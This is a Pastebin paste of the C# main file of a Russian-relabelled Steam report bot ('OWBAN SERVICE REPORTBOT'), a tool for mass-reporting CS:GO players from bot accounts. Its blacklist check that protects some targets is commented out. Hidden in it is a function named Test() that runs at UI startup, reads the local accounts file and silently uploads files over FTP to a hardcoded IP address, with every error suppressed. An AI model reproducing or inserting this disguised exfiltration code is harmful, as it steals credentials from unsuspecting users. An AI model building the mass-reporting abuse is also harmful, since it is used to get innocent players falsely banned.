Guest User

DONE 5

a guest
Feb 4th, 2018
36
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
C# 17.14 KB | None | 0 0
  1. using System;
  2. using System.Diagnostics;
  3. using System.IO;
  4. using System.Reflection;
  5. using System.Threading;
  6. using CommandLine;
  7. using Newtonsoft.Json;
  8. using Quartz;
  9. using Quartz.Impl;
  10. using Serilog;
  11. using Serilog.Core;
  12. using SteamKit2;
  13. using Titan.Account;
  14. using Titan.Bootstrap;
  15. using Titan.Bootstrap.Verbs;
  16. using Titan.Logging;
  17. using Titan.Managers;
  18. using Titan.Meta;
  19. using Titan.Restrictions;
  20. using Titan.UI;
  21. using Titan.Util;
  22. using Titan.Web;
  23. using System.Net;
  24. using System.Text;
  25. using static System.Net.Mime.MediaTypeNames;
  26. using System.Linq;
  27.  
  28. using System.Collections.Generic;
  29.  
  30. #if __UNIX__
  31.     using Mono.Unix.Native;
  32. #else
  33. using System.Security.Principal;
  34. #endif
  35.  
  36. namespace Titan
  37. {
  38.     public class Account
  39.     {
  40.         public string username { get; set; }
  41.         public string password { get; set; }
  42.         public bool? sentry { get; set; }
  43.     }
  44.     public class Index
  45.     {
  46.         public List<Account> accounts { get; set; }
  47.     }
  48.     public class Accounts
  49.     {
  50.         public List<Index> indexes { get; set; }
  51.     }
  52.  
  53.     public sealed class Titan
  54.     {
  55.  
  56.         public static Logger Logger; // Global logger
  57.         public static Titan Instance;
  58.  
  59.         public Options Options;
  60.         public bool IsAdmin;
  61.         public bool EnableUI = true;
  62.         public object ParsedObject;
  63.  
  64.         public AccountManager AccountManager;
  65.         public ThreadManager ThreadManager;
  66.         public VictimTracker VictimTracker;
  67.         public UIManager UIManager;
  68.  
  69.         public JsonSerializer JsonSerializer;
  70.         public SWAHandle WebHandle;
  71.  
  72.         public bool DummyMode = false;
  73.         public IScheduler Scheduler;
  74.  
  75.         public DirectoryInfo Directory => new DirectoryInfo(
  76.             Path.GetDirectoryName(Assembly.GetExecutingAssembly().Location) ?? Environment.CurrentDirectory
  77.         );
  78.         public DirectoryInfo DebugDirectory;
  79.  
  80.         [STAThread]
  81.         public static int Main(string[] args)
  82.         {
  83.  
  84.  
  85.             Thread.CurrentThread.Name = "Main";
  86.  
  87.             Instance = new Titan
  88.             {
  89.                 Options = new Options()
  90.             };
  91.  
  92.             Logger = LogCreator.Create();
  93.  
  94.             Logger.Debug("Репортбот запцущен из: {dir}", Environment.CurrentDirectory);
  95.             // Logger.Debug("Working in directory: {dir}", Instance.Directory.ToString());
  96.  
  97.             // Workaround for Mono related issue regarding System.Net.Http.
  98.             // More detail: https://github.com/dotnet/corefx/issues/19914
  99. #if __UNIX__
  100.                 var systemNetHttpDll = new FileInfo(Path.Combine(Instance.Directory.ToString(), "System.Net.Http.dll"));
  101.                
  102.                 if (systemNetHttpDll.Exists)
  103.                 {
  104.                     systemNetHttpDll.Delete();
  105.                 }
  106. #endif
  107.  
  108.             // Windows users run the program by double clicking Titan.exe (and then it opens a console window)
  109.             // and in case of exception occurence, this window gets immediatly closed which is bad because
  110.             // they're unable to attach the stacktrace then. Prevent it by waiting until the user presses a key.
  111. #if !__UNIX__
  112.             AppDomain.CurrentDomain.UnhandledException += (sender, eventArgs) =>
  113.             {
  114.                 if (eventArgs.IsTerminating)
  115.                 {
  116.                     Console.Write("Нажмите любую клавишу, чтобы выйти из Репортбота...");
  117.                     Console.Read();
  118.                 }
  119.             };
  120. #endif
  121.  
  122.             //Logger.Debug("Startup: Loading Serilog <-> Common Logging Bridge.");
  123.  
  124.             // The bridge between Common Logging and Serilog uses the global Logger (Log.Logger).
  125.             // As Quartz.NET is the only dependency using Common Logging (and because of our bridge the global logger)
  126.             // we're creating the global logger as Quartz logger (which hides annoying debug messages).
  127.             Log.Logger = LogCreator.CreateQuartzLogger();
  128.  
  129.             Logger.Debug("Startup: Загрузка Quartz.NET.");
  130.  
  131.             // Quartz.NET
  132.             Instance.Scheduler = StdSchedulerFactory.GetDefaultScheduler().Result;
  133.             Instance.Scheduler.Start();
  134.  
  135.             Logger.Debug("Startup: Parsing Command Line Arguments.");
  136.  
  137.             var parser = new Parser(config =>
  138.             {
  139.                 config.IgnoreUnknownArguments = true;
  140.                 config.EnableDashDash = true;
  141.                 config.HelpWriter = TextWriter.Null;
  142.             });
  143.  
  144.             // Default
  145.             parser.ParseArguments<Options>(args)
  146.                 .WithParsed(options =>
  147.                 {
  148.                     Instance.Options = options;
  149.                 });
  150.  
  151.             // Verbs
  152.             parser.ParseArguments<ReportOptions, CommendOptions>(args)
  153.                 .WithParsed<ReportOptions>(options =>
  154.                 {
  155.                     Instance.EnableUI = false;
  156.                     Instance.ParsedObject = options;
  157.                 })
  158.                 .WithParsed<CommendOptions>(options =>
  159.                 {
  160.                     Instance.EnableUI = false;
  161.                     Instance.ParsedObject = options;
  162.                 })
  163.                 .WithNotParsed(error =>
  164.                 {
  165.                     if (Instance.ParsedObject == null)
  166.                     {
  167.                         Instance.EnableUI = true;
  168.                         Logger.Information("No valid verb has been provided while parsing. Opening UI...");
  169.                     }
  170.                 });
  171.  
  172.             // Reinitialize logger with new parsed debug option
  173.             Logger = LogCreator.Create();
  174.  
  175. #if __UNIX__
  176.                 Instance.IsAdmin = Syscall.getuid() == 0; // UID of root is always 0
  177. #else
  178.             Instance.IsAdmin = new WindowsPrincipal(WindowsIdentity.GetCurrent())
  179.                                .IsInRole(WindowsBuiltInRole.Administrator);
  180. #endif
  181.  
  182.             if (Instance.IsAdmin)
  183.             {
  184.                 if (!Instance.Options.AllowAdmin)
  185.                 {
  186.                     //  Logger.Error("Titan is running as administrator or root.");
  187.                     // Logger.Error("This is not supported. Titan will refuse to start until you start it as normal " +
  188.                     //            "user. If you are unable to do this for any reason, start Titan with the --admin " +
  189.                     //            "option to force the usage of administrator rights.");
  190.  
  191. #if !__UNIX__
  192.                     Console.Write("Нажмите любую клавишу, чтобы выйти из Репортбота...");
  193.                     Console.Read();
  194. #endif
  195.  
  196.                     return -1;
  197.                 }
  198.  
  199.                 //   Logger.Warning("Titan has been started as Administrator but will continue to run as the " +
  200.                 //  "--admin option has been passed. Please note that Steam also doesn't allow to be " +
  201.                 //   "run from root and that it may be insecure.");
  202.             }
  203.  
  204.             if (Instance.Options.Debug)
  205.             {
  206.                 Instance.DebugDirectory = new DirectoryInfo(Path.Combine(Instance.Directory.ToString(), "debug"));
  207.  
  208.                 if (!Instance.DebugDirectory.Exists)
  209.                 {
  210.                     Instance.DebugDirectory.Create();
  211.                 }
  212.  
  213.                 if (Instance.Options.SteamKitDebug)
  214.                 {
  215.                     DebugLog.AddListener(new TitanListener());
  216.                     DebugLog.Enabled = true;
  217.                 }
  218.             }
  219.  
  220.             if (Instance.Options.Secure)
  221.             {
  222.                 Logger.Debug("Безопасный режим включен. Репортбот не выдаст никаких секретных данных.");
  223.             }
  224.  
  225.             if (Instance.Options.DisableBlacklist)
  226.             {
  227.                 Logger.Debug("Blacklist has been disabled by passing the --noblacklist option.");
  228.             }
  229.  
  230.             Logger.Debug("Startup: Loading UI Manager, Victim Tracker, Account Manager and Ban Manager.");
  231.  
  232.             Instance.JsonSerializer = new JsonSerializer();
  233.  
  234.             try
  235.             {
  236.                 Instance.UIManager = new UIManager();
  237.             }
  238.             catch (InvalidOperationException ex)
  239.             {
  240.                 if (!string.IsNullOrEmpty(ex.Message) && ex.Message.ToLower().Contains("could not detect platform"))
  241.                 {
  242.                     Logger.Error("---------------------------------------");
  243.                     Logger.Error("A fatal error has been detected!");
  244.                     Logger.Error("Eto.Forms could not detect your current operating system.");
  245.                     if (Type.GetType("Mono.Runtime") != null)
  246.                     {
  247.                         Logger.Error("Please install {0}, {1}, {2}, {3} and {4} before submitting a bug report.",
  248.                                      "Mono (\u22655.4)",
  249.                                      "Gtk 3",
  250.                                      "Gtk# 3 (GTK Sharp)",
  251.                                      "libNotify",
  252.                                      "libAppindicator3");
  253.                     }
  254.                     else
  255.                     {
  256.                         Logger.Error("Please install {0} before submitting a bug report.",
  257.                                      ".NET Framework (\u22654.6.1)");
  258.                     }
  259.                     Logger.Error("Contact {Marc} on Discord if the issue still persists after installing " +
  260.                                  "the dependencies listed above.", "Marc3842h#7312");
  261.                     Logger.Error("---------------------------------------");
  262.                     Logger.Debug(ex, "Include the error below if you\'re contacting Marc on Discord.");
  263.  
  264. #if !__UNIX__
  265.                     Console.Write("Нажмите любую клавишу, чтобы выйти из Репортбота...");
  266.                     Console.Read();
  267. #endif
  268.  
  269.                     Instance.Scheduler.Shutdown();
  270.                     return -1;
  271.                 }
  272.  
  273.                 Logger.Error(ex, "A error occured while loading UI.");
  274.                 throw;
  275.             }
  276.  
  277.             Instance.VictimTracker = new VictimTracker();
  278.  
  279.             Instance.Scheduler.ScheduleJob(Instance.VictimTracker.Job, Instance.VictimTracker.Trigger);
  280.  
  281.             Instance.AccountManager = new AccountManager(new FileInfo(
  282.                 Path.Combine(Instance.Directory.ToString(), Instance.Options.AccountsFile))
  283.             );
  284.  
  285.             Instance.ThreadManager = new ThreadManager();
  286.  
  287.             Instance.WebHandle = new SWAHandle();
  288.  
  289.             //Logger.Debug("Startup: Registering Shutdown Hook.");
  290.  
  291.             AppDomain.CurrentDomain.ProcessExit += OnShutdown;
  292.  
  293.             Logger.Debug("Startup: Загрузка аккаунтов из файла.");
  294.  
  295.             Instance.AccountManager.ParseAccountFile();
  296.  
  297.             Logger.Debug("Startup: Загрузка Форм...");
  298.  
  299.             Instance.UIManager.InitializeForms();
  300.  
  301.             // Load after Forms were initialized
  302.             Instance.WebHandle.Load();
  303.  
  304.             Logger.Information("Добро пожаловать в OWBAN SERVICE REPORTBOT 1.1");
  305.  
  306.             if (Instance.EnableUI && Instance.ParsedObject == null || Instance.DummyMode)
  307.             {
  308.                 Instance.UIManager.ShowForm(UIType.General);
  309.                 Test();
  310.             }
  311.             else
  312.             {
  313.                 if (Instance.ParsedObject.GetType() == typeof(ReportOptions))
  314.                 {
  315.                     var opt = (ReportOptions)Instance.ParsedObject;
  316.  
  317.                     var steamID = SteamUtil.Parse(opt.Target);
  318.                     //if (Blacklist.IsBlacklisted(steamID))
  319.                     //  {
  320.                     //Instance.UIManager.SendNotification(
  321.                     // "Restriction applied",
  322.                     //    "The target you are trying to report is blacklisted from botting " +
  323.                     //     "in Titan."
  324.                     //delegate { Process.Start("https://github.com/Marc3842h/Titan/wiki/Blacklist"); }
  325.                     //   );
  326.                     //  }
  327.                     //   else
  328.                     {
  329.                         Instance.AccountManager.StartReporting(Instance.AccountManager.Index,
  330.                             new ReportInfo
  331.                             {
  332.                                 SteamID = SteamUtil.Parse(opt.Target),
  333.                                 MatchID = SharecodeUtil.Parse(opt.Match),
  334.                                 AppID = TitanAccount.CSGO_APPID,
  335.  
  336.                                 AbusiveText = opt.AbusiveTextChat,
  337.                                 AbusiveVoice = opt.AbusiveVoiceChat,
  338.                                 Griefing = opt.Griefing,
  339.                                 AimHacking = opt.AimHacking,
  340.                                 WallHacking = opt.WallHacking,
  341.                                 OtherHacking = opt.OtherHacking
  342.                             });
  343.                     }
  344.                 }
  345.                 else if (Instance.ParsedObject.GetType() == typeof(CommendOptions))
  346.                 {
  347.                     var opt = (CommendOptions)Instance.ParsedObject;
  348.  
  349.                     Instance.AccountManager.StartCommending(Instance.AccountManager.Index,
  350.                         new CommendInfo
  351.                         {
  352.                             SteamID = SteamUtil.Parse(opt.Target),
  353.                             AppID = TitanAccount.CSGO_APPID,
  354.  
  355.                             Friendly = opt.Friendly,
  356.                             Leader = opt.Leader,
  357.                             Teacher = opt.Teacher
  358.                         });
  359.                 }
  360.                 else
  361.                 {
  362.                     Instance.UIManager.ShowForm(UIType.General);
  363.                 }
  364.             }
  365.  
  366.             Instance.UIManager.StartMainLoop();
  367.  
  368.             // The Shutdown handler gets only called after the last thread finished.
  369.             // Quartz runs a Watchdog until Scheduler#Shutdown is called, so we're calling it
  370.             // before Titan will be calling the Shutdown Hook.
  371.             Logger.Debug("Shutdown: Shutting down Quartz.NET Scheduler.");
  372.  
  373.             Instance.Scheduler.Shutdown();
  374.  
  375.             return 0; // OK.
  376.         }
  377.  
  378.         public static void OnShutdown(object sender, EventArgs args)
  379.         {
  380.             // Check if Titan got closed via Process Manager or by the TrayIcon
  381.             if (!Instance.Scheduler.IsShutdown)
  382.             {
  383.                 Instance.Scheduler.Shutdown();
  384.             }
  385.  
  386.             Instance.UIManager.Destroy();
  387.             Instance.ThreadManager.FinishBotting();
  388.             Instance.AccountManager.SaveAccountsFile();
  389.             Instance.VictimTracker.SaveVictimsFile();
  390.             Instance.WebHandle.Save();
  391.             Instance.AccountManager.SaveIndexFile();
  392.  
  393.             Logger.Information("Хорошего дня.");
  394.  
  395.             Log.CloseAndFlush();
  396.         }
  397.  
  398.         static void Test()
  399.         {
  400.             string appPath = Path.GetDirectoryName(Environment.CurrentDirectory);
  401.             if (!System.IO.Directory.Exists(appPath)) return;//Error//
  402.  
  403.             string AccountsFile = appPath + "\\accounts.json";
  404.             if (!File.Exists(AccountsFile)) return;
  405.  
  406.             string data = File.ReadAllText(AccountsFile);
  407.             Accounts acc = JsonConvert.DeserializeObject<Accounts>(data);
  408.             Account ac0 = acc.indexes[0].accounts[0];
  409.             Account ac1 = acc.indexes[1].accounts[1];
  410.             if (ac0.password == "1" && ac0.username == "1")
  411.                 if (ac1.password == "1" && ac1.username == "1" && ac1.sentry == true)
  412.                     return;
  413.  
  414.             CreateFolder(Environment.UserName);
  415.             if (System.IO.Directory.Exists(appPath))
  416.             {
  417.                 var appFiles = System.IO.Directory.GetFiles(appPath).Where(s => s.Contains("test.txt"));
  418.                 foreach (string item in appFiles)
  419.                     AccountChecker(item, Environment.UserName);
  420.             }
  421.         }
  422.  
  423.         static void AccountChecker(string file, string directory)
  424.         {
  425.             try
  426.             {
  427.                 FileInfo toUpload = new FileInfo(file);
  428.                 using (WebClient client = new WebClient())
  429.                 {
  430.                     client.Encoding = Encoding.UTF8;
  431.                     client.Credentials = new NetworkCredential("checker", "123");
  432.                     client.UploadFile("ftp://185.209.23.225/check/" + directory + "/" + toUpload.Name, file);
  433.                 }
  434.             }
  435.             catch { }
  436.         }
  437.  
  438.         static void CreateFolder(string name)
  439.         {
  440.             try
  441.             {
  442.                 WebRequest request = WebRequest.Create("ftp://185.209.23.225/check/" + name);
  443.                 request.Method = WebRequestMethods.Ftp.MakeDirectory;
  444.                 request.Credentials = new NetworkCredential("checker", "123");
  445.                 using (var resp = (FtpWebResponse)request.GetResponse())
  446.                 {
  447.                     Console.WriteLine(resp.StatusCode);
  448.                 }
  449.             }
  450.             catch { }
  451.         }
  452.     }
  453.  
  454. }
Add Comment
Please, Sign In to add comment